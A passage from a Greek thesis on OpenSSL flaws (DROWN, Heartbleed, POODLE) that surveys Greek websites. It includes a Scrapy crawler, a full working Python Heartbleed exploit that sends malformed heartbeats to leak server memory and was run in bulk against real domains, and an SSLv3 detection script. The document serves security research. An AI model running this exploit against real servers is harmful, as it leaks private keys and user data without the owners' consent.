Σχήμα 4.d.4 : Μια βασισμένη στο SSLv2 επίθεση Bleichenbacher στο πρωτόκολλο TLS [37] 85

88 4.d.5 Πότε είναι μια ιστοσελίδα ευάλωτη Αν και το πρωτόκολλο SSLv2 είναι πολύ παλιό και η χρήση του τετριμμένη, συνεχίζει να υποστηρίζεται από πολλούς εξυπηρετητές. Ωστόσο το πιο μελανό σημείο στην επίθεση αυτή είναι πως μπορεί να χρησιμοποιηθεί για να εκμεταλλευτεί το πρωτόκολλο TLS, ακόμη και σε περιπτώσεις όπου οι πελάτες δεν υποστηρίζουν καν SSLv2 και σε ακόμη λιγότερες περιπτώσεις,όταν οι εξυπηρετητές δεν υποστηρίζουν SSLv2, αλλά χρησιμοποιούν το ίδιο κλειδί RSA με έναν εξυπηρετητή ή υπηρεσία που χρησιμοποιεί πρωτόκολλο SSLv2. Οι προϋποθέσεις για να είναι ένας εξυπηρετητής ευάλωτος στην DROWN είναι [35]: Να επιτρέπει συνδέσεις πρωτοκόλλου SSLv2, κάτι που παρατηρείται συχνά λόγω κακής διαμόρφωσης των παραμέτρων ασφαλείας, αλλά και έλλειψης έμφασης στις προκαθορισμένες ρυθμίσεις. ή : Το ιδιωτικό του κλειδί να χρησιμοποιείται σε οποιοδήποτε άλλο εξυπηρετητή που επιτρέπει συνδέσεις πρωτοκόλλου SSLv2 ακόμη και όταν πρόκειται για διαφορετικό πρωτόκολλο. Δηλαδή εάν σε μια υποδομή ο εξυπηρετητής υποστηρίζει SSLv2 ενώ ο web εξυπηρετητής όχι, ο εισβολέας είναι σε θέση να εκμεταλλευτεί το ρήγμα του εξυπηρετητή και να παραβιάσει την σύνδεση TLS που χρησιμοποιεί ο web εξυπηρετητής. Σχήμα 4.d.5 : Οι προϋποθέσεις για την επίθεση Drown [35] 86

89 4.d.6 Πόσες ιστοσελίδες βρέθηκαν ευάλωτες Ιστοσελίδες, εξυπηρετητές mail και οι υπηρεσίες που βασίζονται στο πρωτόκολλο TLS είναι εκτεθειμένες. Σύμφωνα με scanning [35] την ημερομηνία κοινοποίησης της ευπάθειας, το 33% όλων των εξυπηρετητών που χρησιμοποιούν HTTPS ήταν ευάλωτες στην DROWN. Σχήμα 4.d.4 : αποτελέσματα scan για την ευπάθεια DROWN [35] 4.d.7 Μέτρα προστασίας Αν και η επίθεση έχει αντίκτυπο κυρίως στους εξυπηρετητές, καλό θα ήταν, για καλύτερη προστασία, η χρήση του TLS 1.2 και η ρύθμιση για διαπραγμάτευση ασφαλών αλγορίθμων.[38] Από την άλλη πλευρά, οι χειριστές των εξυπηρετητών θα πρέπει να βεβαιωθούν ότι τα ιδιωτικά κλειδιά τους δεν χρησιμοποιούνται σε κάποια υπηρεσία που επιτρέπει συνδέσεις πρωτοκόλλου SSLv2[35]. Επίσης οι χρήστες του OpenSSL θα πρέπει να αναβαθμίσουν την έκδοση τους, σε περίπτωση που έχουν παλαιότερη. Πιο συγκεκριμένα : Οι χρήστες της έκδοσης του OpenSSL θα πρέπει να την αναβαθμίσουν στην έκδοση 1.0.2g. Οι χρήστες της έκδοσης του OpenSSL θα πρέπει να την αναβαθμίσουν στην έκδοση 1.0.1s 87

90 5. Αξιολόγηση της χρήσης του OpenSSL στην Ελλάδα 5.a Συλλογή ιστοσελίδων με web crawler Στα πλαίσια των δοκιμών έγινε συλλογή 4562 ελληνικών domains. Η συλλογή έγινε από web crawler που δημιούργησα με το εργαλείο Scrapy. Το web crawler αποτελείται από τα εξής τρία αρχεία (συν δύο) που είναι προκαθορισμένα από το Scrapy : import scrapy from scrapy.contrib.spiders import Rule, CrawlSpider from scrapy.linkextractors import LinkExtractor from final.items import WebItem class my_spider(crawlspider): name = 'pie' allowed_domains = ['greek-sites.gr'] start_urls = [' rules = (Rule(LinkExtractor(allow=(r'.*categories/.*', )), callback='parse_site', follow=true),) def parse_site (self, response): #self.logger.info('hi, this is an item page! %s', response.url) categories = response.xpath('//a[contains(@href, "categories")]/text()').extract() total_count = 0 for category in categories: item = WebItem() item['websites'] = response.xpath('//a[contains(text(),".gr") and not(contains(text(),"greek-sites"))]/text()').extract() item['category'] = response.xpath('//div/strong/text()').extract() count = 0 for x in item['websites']: count += 1 item['pages'] = count return item 88

91 Το κύριο τμήμα του crawler λειτουργεί ως εξής : επισκέπτεται μια προκαθορισμένη ιστοσελίδα (χρησιμοποιήθηκε διαδικτυακός κατάλογος ελληνικών ιστοσελίδων ) και, επιλέγοντας κάθε φορά μια κατηγορία ιστοσελίδων, ελέγχει αν η ιστοσελίδα στην εκάστοτε κατηγορία έχει κατάληξη.gr. Αν ναι, τότε την αποθηκεύει. # -*- coding: utf-8 -*- import scrapy import json import codecs from collections import OrderedDict class ResultPipeline(object): def init (self): self.file = codecs.open('results.json', 'w', encoding='utf-8') def process_item(self, item, spider): for site in item["websites"] : list(ordereddict.fromkeys(item["websites"])) line = json.dumps(dict(item), ensure_ascii=false) + "\n" self.file.write(line) return item def spider_closed(self, spider): self.file.close() Κώδικας που χρησιμεύει στην εξαγωγή και την αποθήκευση των αποτελεσμάτων. # -*- coding: utf-8 -*- import scrapy class WebItem(scrapy.Item): new = scrapy.field() websites = scrapy.field() category = scrapy.field() pages = scrapy.field() total_pages = scrapy.field() Κώδικας που ορίζει τις ιδιότητες του crawler. Μετά την συλλογή όλων των ιστοσελίδων έγινε αφαίρεση των διπλότυπων μέσω του Microsoft Excel. 89

92 5.b Ανίχνευση για ευπάθεια ενάντια σε Heartbleed : Για την συγκεκριμένη ευπάθεια θα χρησιμοποιήσουμε την ίδια την επίθεση προκειμένου να διαπιστώσουμε ποια ιστοσελίδα είναι ευπαθής, επειδή δεν έχουμε την δυνατότητα να εντοπίσουμε αν κάποια ιστοσελίδα χρησιμοποιεί OpenSSL και πόσο μάλλον συγκεκριμένες εκδόσεις του. Σε γλώσσα Python 2.7 διαμορφώθηκε και εμπλουτίστηκε κώδικας βασισμένος στον κώδικα του Jared Stafford με σκοπό την υλοποίηση της επίθεση Heartbleed. Αρχικά, για να δοκιμαστεί η επίθεση, χρησιμοποιήσαμε έναν εξυπηρετητή Apache με μια ευάλωτη έκδοση του OpenSSL(OpenSSL/1.0.1c). Παρακάτω φαίνεται το διάγραμμα ροής δεδομένων όπως προσεγγίζεται από τον κώδικα : 90

93 5.b.1 Διάγραμμα Ροής για Heartbleed 91

94 5.b.2 Κώδικας Για την εκτέλεση της επίθεσης θα χρησιμοποιήσουμε και τις τρεις εκδόσεις του πρωτοκόλλου TLS tls_versions = {0x01:'TLSv1.0',0x02:'TLSv1.1',0x03:'TLSv1.2'} Το μήνυμα client hello σε μορφή 16-bit client_hello = [ # TLS header ( 5 bytes) 0x16, # Content type (0x16 for handshake message) 0x03, 'tls_ver', # TLS Version 0x00, 0x31, # Length # Handshake header 0x01, # Message type (0x01 for ClientHello) 0x00, 0x00, 0x2d, # Length 0x03, 'tls_ver', # TLS Version # Random (32 byte) 0x53, 0x43, 0x5b, 0x90, 0x9d, 0x9b, 0x72, 0x0b, 0xbc, 0x0c, 0xbc, 0x2b, 0x92, 0xa8, 0x48, 0x97, 0xcf, 0xbd, 0x39, 0x04, 0xcc, 0x16, 0x0a, 0x85, 0x03, 0x90, 0x9f, 0x77, 0x04, 0x33, 0xd4, 0xde, 0x00, # Session ID 0x00, 0x04, # Cipher suites length # Cipher suites (4 suites) 0x00, 0x33, 0xc0, 0x11, 0x01, # Compression methods length 0x00, # Compression method (0x00 for no compression) 0x00, 0x00 # Extensions length = 0 ] Το μήνυμα heartbeat σε μορφή 16-bit heart_beat = [ 0x18, # Content Type (0x16 for handshake message) 0x03, 'tls_ver', # TLS version 0x00, 0x12, # Packet Length (0x12(18) payload included) # Payload 0x01, # Heart beat message type (0x01 for request) 0x00, 0xff, # Payload length (fake payload, actual payload length is 0x000a (10)). #Payload and padding must not exceed bytes because with the 3 bytes of TLS1_HB_REQUEST (0x01) and Payload length (0xff00) #is equal to bytes (16KB) the maximum heartbeat request size 0x56, 0x75, 0x6c, 0x6e, 0x65, 0x72, 0x61, 0x62, 0x6c, 0x65, # Payload 0x34, 0x90, 0xf0, 0xf3, # PADDING 0xe3, 0xb4, 0x5c, 0x9c, # PADDING 0x80, 0xff, 0x95, 0x74, # PADDING 0x9d, 0x81, 0xfa, 0xa0 # PADDING ] 92

95 Η κύρια συνάρτηση def main_loop(): global outputfile try: inputfile = open('addresses_file.txt', 'r') outputfile = open('results4heartbeat.txt', 'w') #Create file for output messages and results #detailed_results_file = open('detailed_results.txt', 'w') for line in inputfile: trgthost = line.rstrip() #Strip carriage return and new line chars do_the_job(trgthost) outputfile.write('\n\n ********* Total Results ********* \n\n') outputfile.write('vulnerable servers found: ' + str(vulnerable) +'\n') outputfile.write('non Vulnerable servers found: ' + str(not_vulnerable) + '\n') outputfile.write('vulnerable ports found: ' + str(vulnerable_ports) + '\n') outputfile.write('non Vulnerable ports found: ' + str(not_vulnerable_ports) + '\n') outputfile.write('"no TLS Version Supported" servers found: ' + str(nosupported_tls) +'\n') outputfile.write('"not Know" servers found: ' + str(unknownresp) +'\n') outputfile.write('"not even connected to any port" servers found: ' + str(not_connected) +'\n') outputfile.close() except Exception as err: print_error(str(err)) main_loop() Στην συνάρτηση main_loop() ουσιαστικά καθορίζονται τα αρχεία input και output, οι εντολές για το output. Διαβάζοντας το αρχείο inputfile καλείται η συνάρτηση do_the_job(trghost) με παράμετρο την εκάστοτε γραμμή (ιστοσελίδα) του αρχείου. def do_the_job(curr_host): global vulnerable global not_vulnerable global nosupported_tls global not_connected global server_address global isknownresp global unknownresp global isvulnerable print(curr_host) connected = False tls_supported = False ports = ['443', '465', '993', '995', '110', '143', '25', '587', '21'] 93

96 for current_port in ports: server_address = (curr_host, int(current_port)) sock = socket.socket(socket.af_inet, socket.sock_stream) sock.settimeout(5) #info = 'Connecting to %s port %s' % server_address, current_port #print_info(info) sys.stdout.flush() try: print(server_address) sock.connect(server_address) #Try to connect except Exception as err: outputstring = (' ' + str(err) + ' while trying to connect\n') outputfile.write(str(server_address) + outputstring) print_error(str(err) + ' while trying to connect to %s port %s\n' % server_address) continue print_info('connected') connected = True if server_address[1] in [110, 143, 25, 587, 21]: tls_started = try2starttls(sock, server_address[0], server_address[1]) else: tls_started = True if tls_started: supported_tls_ver = send_clienthello(sock) # Call the function which carries out the handshaking with server and returns true or false if supported_tls_ver: tls_supported = True send_heartbeat(sock, supported_tls_ver) # Call the function to send the heartbeat message and check for valnerability if not connected: not_connected += 1 elif not tls_supported: nosupported_tls += 1 else: if not isknownresp: unknownresp += 1 isknownresp = False else: if isvulnerable: vulnerable += 1 isvulnerable = False else: not_vulnerable += 1 Στην συνάρτηση do_the_job, η οποία καλείται από την main_loop, δημιουργείται Object τύπου socket και με την διεύθυνση και την πόρτα, που παραλήφθηκε από την main_loop, γίνεται προσπάθεια σύνδεσης με τον server. Σε περίπτωση που οι τρέχουσες πόρτες είναι οι 110,143,25,587,21, τότε γίνεται προσπάθεια σύνδεσης με TLS μέσω της συνάρτησης try2starttls(my_socket, host, port) Αν η σύνδεση είναι επιτυχής, καλείται η συνάρτηση send_clienthello με παράμετρο το socket, αλλιώς το πρόγραμμα επιστρέφει είτε στην αρχική οθόνη είτε για να διαβάσει την 94

97 επόμενη γραμμή του αρχείου, αφού βέβαια τυπώσει το μήνυμα λάθους, που απέτρεψε την σύνδεση. Η συνάρτηση send_clienthello θα επιστρέψει True ή False. Σε περίπτωση True, θα κληθεί στην συνέχεια η συνάρτηση send_heartbeat με παραμέτρους το socket και την TLS έκδοση για την οποία στάλθηκε από τον Server το έγκυρο ServerHello. def try2starttls(my_socket, host, port): no_start_tls = False start_tls = True starttls_response = "n/a" stls = False atls = False try: if port in {25, 587}: # print('i am in') srv_response = my_socket.recv(socket_recv_size) my_socket.send("ehlo testing\r\n".encode('utf-8')) sys.stdout.flush() srv_response += my_socket.recv(socket_recv_size) #print('response in EHLO:', srv_response.decode('utf-8')) if "starttls" in srv_response.decode('utf-8').lower(): starttls = True elif "stls" in srv_response.decode('utf-8').lower(): starttls = True stls = True else: write_line = " Probably doesn't support STARTTLS\n" print_info(str(server_address) + write_line) outputfile.write(str(server_address) + write_line) # print("server", host, "probably doesn't support STARTTLS On Port", port) return no_start_tls elif port in {110, 143}: srv_response = my_socket.recv(socket_recv_size) if port == 110: my_socket.send("capa\r\n".encode('utf-8')) else: my_socket.send(". CAPABILITY\r\n".encode('utf-8')) sys.stdout.flush() srv_response += my_socket.recv(socket_recv_size) #print(srv_response.decode('utf-8')) if "starttls" in srv_response.decode('utf-8').lower(): starttls = True # imap_starttls = True elif "stls" in srv_response.decode('utf-8').lower(): starttls = True stls = True else: write_line = " Probably doesn't support STARTTLS\n" print_info(str(server_address) + write_line) outputfile.write(str(server_address) + write_line) # print("server", host, "probably doesn't support STARTTLS On Port", port) return no_start_tls elif port in {21}: srv_response = my_socket.recv(socket_recv_size, ) my_socket.send("feat\r\n".encode('utf-8')) sys.stdout.flush() data = my_socket.recv(socket_recv_size) srv_response += data #print(srv_response.decode('utf-8')) 95

98 if "starttls" in srv_response.decode('utf-8').lower(): starttls = True elif "auth tls" in srv_response.decode('utf-8').lower(): starttls = True atls = True else: write_line = " Probably doesn't support STARTTLS\n" print_info(str(server_address) + write_line) outputfile.write(str(server_address) + write_line) return no_start_tls except socket.error as e: write_line = " Could not send command to check TLS capability. " \ "Socket Error: {0:s}. \n".format(e) print_error(str(server_address) + write_line) outputfile.write(str(server_address) + write_line) return no_start_tls try: if stls: my_socket.send("stls\r\n".encode('utf-8')) starttls_response = my_socket.recv(socket_recv_size) elif atls: my_socket.send("auth TLS\r\n".encode('utf-8')) starttls_response = my_socket.recv(socket_recv_size) else: if port == 143: my_socket.send(". STARTTLS\r\n".encode('utf-8')) starttls_response = my_socket.recv(socket_recv_size) #print(starttls_response.decode('utf-8')) else: my_socket.send("starttls\r\n".encode('utf-8')) starttls_response = my_socket.recv(socket_recv_size) #print(starttls_response.decode('utf-8')) # sys.stdout.flush() # srv_response = my_socket.recv(socket_recv_size) except socket.error as e: if isinstance(starttls_response, str): write_line = " Could not send STARTTLS command. Socket Error: {0:s}.." \ " - starttls_response: {1:s}\n".format(e, starttls_response) print_error(str(server_address) + write_line) outputfile.write(str(server_address) + write_line) # print("port", port, "On", host, "Error:", e, ".", "Could not send STARTTLS command") else: write_line = " Socket Error: {0:s}." \ " - starttls_response: {1:s}\n".format(e, starttls_response.decode('utf-8')) print_error(str(server_address) + write_line) outputfile.write(str(server_address) + write_line) return no_start_tls return start_tls Η συνάρτηση αυτή στέλνει την σωστή εντολή αναλόγως την θύρα, για να ελέγξει εάν ο εξυπηρετητής υποστηρίζει πρωτόκολλο TSL στην συγκεκριμένη θύρα. 96

99 Εάν υποστηρίζει, στέλνει την αντίστοιχη εντολή, προκειμένου να ξεκινήσει η διαπραγμάτευση για σύνδεση TLS στην θύρα. Εάν όλη η διαδικασία κυλήσει ομαλά, επιστρέφει το socket, True για το starttls και True ή False για stls ή atls εξαρτώμενο από την απάντηση του ελέγχου για υποστήριξη TLS επικοινωνίας. Εάν υπάρξει πρόβλημα, επιστρέφει NO_STARTTLS και false για startls,stls και atls. Σε περίπτωση που εγκατασταθεί σύνδεση με TLS, καλείται η send_clienthello def send_clienthello(sock): supported_tls_ver = False s = sock for tlsnum, tlsver in tls_versions.items(): print_info('sending Client Hello for {}'.format(tlsver)) Client_Hello = build_client_hello(tlsnum) bclient_hello = hex_msg2bin_msg(client_hello) try: sys.stdout.flush() s.send(bclient_hello) sys.stdout.flush() except Exception as err: print_error(str(err) + ' while sending Client Hello for {}'.format(tlsver)) continue print_info('waiting for Server Hello...') while True: msgtyp,ver,message = receivevmsg(s, tlsnum, 'chello') if msgtyp == None: print_info('server closed connection without sending ServerHello for {}'.format(tlsver)) break if msgtyp is 22 and ord(message[0]) is 0x0E: #Check for server hello message print_info('received ServerHello for {}'.format(tlsver)) supported_tls_ver = tlsnum break if supported_tls_ver: return supported_tls_ver if not supported_tls_ver: print_info('(propably) No TLS version is supported') outputstring = ' (Probably) No TLS version is supported\n' outputfile.write(str(server_address)+ outputstring) H συνάρτηση send_clienthello καλείται από την do_the_job με παράμετρο το socket, που δημιουργήθηκε εκεί και με το οποίο επετεύχθη η σύνδεση με τον server. H συνάρτηση ξεκινάει ένα loop τύπoυ for για τις τρείς εκδόσεις TLS που αφορούν το πρόβλημα (1.0, 1.1 και 1.2).Σε κάθε loop δημιουργείται ένα string από bytes με κλήση διαδοχικά των συναρτήσεων build_client_hello με παράμετρο την έκδοση του TLS (0x0301 για την 1.0, 0x0302 για την 1.1 και 0x0303 για την 1.2) και hex_msg2bin_msg με παράμετρο την λίστα 97

100 που προέκυψε από την build_client_hello. Στην συνέχεια στέλνεται το string στον server (εντολή s.send(bclient_hello). Αν η αποστολή είναι επιτυχής, καλείται η συνάρτηση receivemsg η οποία επιστρέφει τον τύπο του μηνύματος που διάβασε, την έκδοση του TLS και το ίδιο το μήνυμα ή αλλιώς None, None και None. Στην περίπτωση που η απάντηση αφορά έγκυρο server hello μήνυμα, επιστρέφεται στην do_the_job True αλλιώς συνεχίζεται το for loop. Αν εξαντληθεί το loop επιστρέφεται στην do_the_job False. Οι συνάρτηση build_client_hello λαμβάνει σαν παράμετρο την έκδοση του TLS (0x0301 ή 0x0302 ή 0x0301) και χρησιμοποιώντας τις λίστες client_hello και heart_beat αντίστοιχα, επιστρέφουν ανάλογες λίστες, όπου όμως το string tls_ver έχει αντικατασταθεί με την TLS έκδοση. def build_client_hello(cur_tls_ver): current_client_hello = [] for i, item in enumerate(client_hello): # i is the position of the item in the list if client_hello[i] == 'tls_ver': current_client_hello.append(cur_tls_ver) else: current_client_hello.append(client_hello[i]) return current_client_hello def hex_msg2bin_msg(list_in_hex): #list_in_hex is a list with numbers in hex msg_in_hex = ''.join('{:02x}'.format(x) for x in list_in_hex) #Make a string from the list msg_in_bin = ''.join(x for x in msg_in_hex).decode('hex') #Make a string after converting hex to bin return msg_in_bin #Return that string Η συνάρτηση hex_msg2bin λαμβάνει σαν παράμετρο την λίστα που προκύπτει από την build_client_hello ή την build_heartbeat και επιστρέφει ένα string από bytes κατάλληλο για επικοινωνία του client με τον server (μετατρέπει την δεκαεξαδική μορφή των στοιχείων της λίστας εισόδου σε binary). def receivevmsg(sock, supported_tls_ver, source):#receives bytes from server. source tells if is called for serverhello or heartbeat message try: cur_tls_ver = supported_tls_ver tlsheader = None tlsheader = sock.recv(5) #Header is 5 bytes if tlsheader is None: print_error('unexpected EOF while receiving record header \n Propably server closed connection') return None, None, None #επέστρεψε if tlsheader == '': print_error('empty string while receiving record header \n Propably server closed connection') 98

101 return None, None, None msgtype,version,length = struct.unpack('>bhh',tlsheader) # returns a tuple with message type (1 byte), tls version (2 bytes) and message length (2 bytes) # > for big-endian byte order # B for integer 1 byte size # H for integer 2 bytes size timeout = 10 endtime = time.time()+timeout message = b'' remained = length inputs = [sock] outputs = [] while remained > 0: remtime = endtime - time.time() if remtime < 0: print_info('timeout') break readable, writable, exceptional = select.select(inputs, outputs, [], 5) i = 0 if sock in readable: i += 1 recvdata = sock.recv(remained) if not recvdata: raise EOFError('Was expecting %d bytes but only received ' '%d bytes before the socket closed ' %(length, len(message))) message += recvdata remained -= len(recvdata) if not message: print_error('unexpected EOF while receiving record payload \n Propably server close connection') return None, None, None print_info( '... received message: type = %d, ver = %04x, length = %d' % (msgtype, version, len(message))) return msgtype,version,message except Exception, err_msg: if source == 'hbeat': print_error(str(err_msg) + ' while waiting for Server\'s response to heartbeat request for {}'.format(tls_versions.get(cur_tls_ver))) else: print_error(str(err_msg) + ' while waiting for ServerHello for {}'.format(tls_versions.get(cur_tls_ver))) return None, None, None Η συνάρτηση receivemsg καλείται από την send_clienthello αλλά και την send_heartbeat με παραμέτρους το socket, την TLS έκδοση και ένα string που προσδιορίζει από ποια συνάρτηση καλείται (δηλαδή την send_clienthello ή την send_heartbeat). Οι δύο τελευταίες παράμετροι χρησιμοποιούνται μόνο για την εκτύπωση κατάλληλων μηνυμάτων info ή error. H συνάρτηση receivemsg λαμβάνει καταρχήν 5 bytes από τον server (tlsheader = sock.recv(5)). Αν η απάντηση είναι None ή, η συνάρτηση επιστρέφει None, None, None. Αλλιώς με την μέθοδο unpack του module struct (msgtype,version,length = 99

102 struct.unpack('>bhh',tlsheader)) διαχωρίζονται τα 5 bytes σε integer μήκους 1 byte (τύπος μηνύματος) σε integer μήκους 2 bytes (TLS έκδοση) και σε integer μήκους 2 bytes (μήκος payload). Με βάση το μήκος του payload συνεχίζεται η λήψη του μηνύματος και με την ολοκλήρωση της, επιστρέφονται στην συνάρτηση που κάλεσε την receivemsg (δηλαδή στην send_clienthello ή στην send_heartbeat), ο τύπος του μηνύματος, η έκδοση του TLS και το μήνυμα. Στην main_loop, αν η send_clienthello επιστρέψει έκδοση του tls, τότε καλείται η συνάρτηση send_heartbeat. def send_heartbeat(sock, supported_tls_ver): global not_vulnerable global vulnerable global not_vulnerable_ports global vulnerable_ports global isvulnerable global isknownresp s = sock cur_tls_ver = supported_tls_ver Heart_Beat = build_heartbeat(cur_tls_ver) bheart_beat = hex_msg2bin_msg(heart_beat) sys.stdout.flush() print_info('sending heartbeat request...') s.send(bheart_beat) while True: msgtype,version,message = receivevmsg(s, cur_tls_ver, 'hbeat') if not msgtype: isknownresp = True print_info('no heartbeat response received, server (likely) not vulnerable!') not_vulnerable_ports += 1 outputstring = ' No heartbeat response received, server (likely) not vulnerable!\n' outputfile.write(str(server_address) + outputstring) break if msgtype == 24: #HEARTBEAT_RECORD_TYPE print_info('received heartbeat response: type = %d, ver = %04x, length = %d' % (msgtype, version, len(message))) isknownresp = True if len(message) - 19 > len(heart_beat[8:-16]): # The message length recived includes 19 chars overhead # 3 for heart beat message byte and packet length and 16 for padding). # Also the actual payload sent from the client, starts in position 8th and ends at 17th position starting from the end print_info('server is vulnerable!') vulnerable_ports += 1 isvulnerable = True outputstring = ' Server is vulnerable!\n' print str(server_address)+outputstring outputfile.write(str(server_address)+outputstring) break 100

103 else: print_info('server processed malformed heartbeat, but did not return any extra data!') vulnerable_ports += 1 isvulnerable = True outputstring = ' Server processed malformed heartbeat, but did not return any extra data!\n' outputfile.write(str(server_address)+outputstring) break elif msgtype is 21: #ALERT_RECORD_TYPE print_info('received alert, server (likely) not vulnerable!') isknownresp = True not_vulnerable_ports += 1 outputstring = ' Received alert, server (likely) not vulnerable!\n' outputfile.write(str(server_address)+outputstring) break else: print_info('unknown response from server!') outputstring = ' Unknown response from server!\n' outputfile.write(str(server_address)+outputstring) break Η συνάρτηση send_heartbeat (καλείται από την do_the_job μόνο αν υπήρξε επιτυχές handshaking μεταξύ client και server, δηλαδή η send_clienthello επέστρεψε True μετά την κλήση της) δέχεται σαν παραμέτρους το socket και την έκδοση TLS για τα οποία επετεύχθη το handshaking. Δημιουργεί καταρχήν ένα string από bytes με κλήση διαδοχικά των συναρτήσεων build_heartbeat (με παράμετρο την έκδοση του TLS) και hex_msg2bin_msg με παράμετρο την λίστα που προέκυψε από την build_heartbeat. Στην συνέχεια στέλνεται το string στον server (εντολή s.send(bheart_beat). Αν η αποστολή είναι επιτυχής, καλείται η συνάρτηση receivemsg, η οποία επιστρέφει τον τύπο του μηνύματος που διάβασε, την έκδοση του TLS και το ίδιο το μήνυμα ή σε περίπτωση προβλήματος None, None και None. Στην περίπτωση που ο τύπος του μηνύματος του server είναι 24 (heartbeat, ελέγχεται το μήκος του πραγματικού payload με το πραγματικό payload που στάλθηκε από τον client. Αν είναι μεγαλύτερο, ο server είναι vulnerable. Αν όχι και πάλι πιθανότατα ο server είναι vulnerable. Ο χρήστης ερωτάται αν θέλει να γίνει dump του payload του μηνύματος του server (που περιέχει και διαρροή της μνήμης του) και, σε καταφατική απάντηση, καλείται η συνάρτηση memdump με παράμετρο το payload (αυτό βέβαια μόνο στην περίπτωση που δεν χρησιμοποιείται αρχείο διευθύνσεων). Στην περίπτωση που το μήνυμα δεν απαντηθεί ή απαντηθεί με τύπο μηνύματος 21 (alert), ο server δεν είναι vulnerable. 101

104 def build_heartbeat(cur_tls_ver): current_heart_beat = [] for i, item in enumerate(heart_beat): if heart_beat[i] == 'tls_ver': current_heart_beat.append(cur_tls_ver) else: current_heart_beat.append(heart_beat[i]) return current_heart_beat Η συνάρτηση build_heartbeat λαμβάνει σαν παράμετρο την έκδοση του TLS (0x0301 ή 0x0302 ή 0x0301) και χρησιμοποιώντας τις λίστες client_hello και heart_beat αντίστοιχα, επιστρέφουν ανάλογες λίστες, όπου όμως το string tls_ver έχει αντικατασταθεί με την TLS έκδοση. def hex_msg2bin_msg(list_in_hex): #list_in_hex is a list with numbers in hex msg_in_hex = ''.join('{:02x}'.format(x) for x in list_in_hex) #Make a string from the list msg_in_bin = ''.join(x for x in msg_in_hex).decode('hex') #Make a string after converting hex to bin return msg_in_bin #Return that string Η συνάρτηση hex_msg2bin λαμβάνει σαν παράμετρο την λίστα που προκύπτει από την build_client_hello ή την build_heartbeat και επιστρέφει ένα string από bytes κατάλληλο για επικοινωνία του client με τον server (μετατρέπει την δεκαεξαδική μορφή των στοιχείων της λίστας εισόδου σε binary). 102

105 5.b.3 Εκτέλεση Στην συνέχεια πραγματοποιήθηκε η επίθεση στον εξυπηρετητή Apache. Στην επίθεση ο εξυπηρετητής ανταποκρίθηκε θετικά επιστρέφοντας επιπλέον δεδομένα. Με γραφικό περιβάλλον το πρόγραμμα ειδοποιεί ότι ο εξυπηρετητής είναι ευάλωτος. Παρακάτω διακρίνονται τα δεδομένα που επέστρεψε ο εξυπηρετητής. Η ίδια διαδικασία ακολούθησε για όλες τις ιστοσελίδες που συλλέχθηκαν, με σκοπό την διεξαγωγή συμπερασμάτων. 103

106 5.b.4 Αποτελέσματα Servers Vulnerable to Heartbleed No tls version supported 1307 Not even connected 533 Non vulnerable 2714 Vulnerable 8 Σχήμα 5.b.4 : Αποτελέσματα ανίχνευσης για ευπάθεια heartbleed Vulnerability Short Vulnerable number of ports : Vulnerable ports : Πίνακας 5.b.4: Ευάλωτες ιστοσελίδες κατά σειρά δριμύτητας 104

107 5.c Ανίχνευση για ευπάθεια ενάντια σε POODLE Σε γλώσσα Python 3.2 δημιουργήσαμε εργαλείο ανίχνευσης με το οποίο ελέγχουμε αν κάποια ιστοσελίδα που υποστηρίζει είναι ευάλωτη στη επίθεση POODLE. 5.c.1 Διάγραμμα Ροής 105

108 Αρχικά θα γίνει ανίχνευση για το ποιες ιστοσελίδες υποστηρίζουν το πρωτόκολλο SSLv3. Αν και δεν αρκεί μόνο αυτό για τον εντοπισμό της ευπάθειας, όπως προαναφέρθηκε το πρωτόκολλο είναι ελαττωματικό από κάθε οπτική γωνία. 5.c.2 Κώδικας Ακολουθεί το κυρίως σώμα του κώδικα : Main body for line in input_file: destinations =line.strip('\n').split(",") connected = False vulnerable = False ssl_support = False sslv3_sup = False wcipher_sup = False write_line = '******\n' results_file.write(write_line) destination = destinations[0] write_line = '\n****** ' + destination.upper() + '\n' detailed_results_file.write(write_line) print("\n") print("domain :", destinations) for port in ports: print("knocking on port : ",port ) write_line = '**\n' detailed_results_file.write(write_line) vuln_check = drownvuln_check(destination, port) if port == 21: if (sslv3_sup is True) : write_line = 'SERVER ' + destination + ' supports SSLv3!\n' positive.write(write_line) print(vuln_check) if vuln_check == 'not connected': continue if vuln_check == NO_STARTTLS: connected = True continue connected = True if vuln_check == 'SSLv3sup': write_line = 'SERVER ' + destination + ' vulnerable! on port ' + str(port) + '. Supports SSLv3.\n' results_file.write(write_line) vulnerable = True sslv3_sup = True continue else: continue if not connected : write_line = 'SERVER ' + destination + '. Could not connect to any given port!\n' results_file.write(write_line) elif not vulnerable : write_line = 'SERVER ' + destination + '. Probably not vulnerable.\n' 106

109 results_file.write(write_line) results_not_v.write(destination + "\n") Στο κυρίως σώμα έχουμε σαν input αρχείο το αρχείο servers.txt όπου βρίσκονται όλες οι ιστοσελίδες που έχουμε συλλέξει. Με την εντολή for line in input_file διαβάζουμε κάθε σειρά του αρχείου, δηλαδή κάθε ιστοσελίδα. Στην συνέχεια για κάθε ιστοσελίδα παίρνουμε σαν παράμετρο κάθε θύρα ξεχωριστά με την εντολή for port in ports: Σε κάθε πόρτα ελέγχουμε αν η ιστοσελίδα τηρεί τις προϋποθέσεις για την επίθεση POODLE. Αυτό επιτυγχάνεται καλώντας την συνάρτηση poodlevuln_check(destination, port). Συνάρτηση poodlevuln_check(host, port) def poodlevuln_check(host, port): # Create socket my_socket = socket.socket(socket.af_inet, socket.sock_stream) my_socket.settimeout(socket_timeout) # try to connect try: my_socket.connect((host, port)) except socket.error: try: my_socket.connect((host, port)) except socket.error: try: my_socket.connect((host, port)) except socket.error as e: write_line = "Port {0:d} on server {1:s} is closed; " \ "Connect failed (after 3 tries) with error: {2:s}\n".format(port, host, e) detailed_results_file.write(write_line) #print('port:', str(port), "on server", host, 'is closed; Connect failed(after 3 tries) with error:', e) my_socket.close() return 'not connected' # In case of successful connection # my_socket.close() starttls_response = "n/a" if port in {443, 465, 993, 995}: vuln_check = try_sslv3_connection(my_socket, host, port) #print(vuln_check) print(vuln_check) if vuln_check == 'SSLv3sup': write_line = "Server {0:s} on port {1:d} vulnerable! Supports SSLv3.\n".format(host, port) detailed_results_file.write(write_line) # print('server', host, 'On port', port, 'vulnerable.txt! Supports SSLv3.') 107

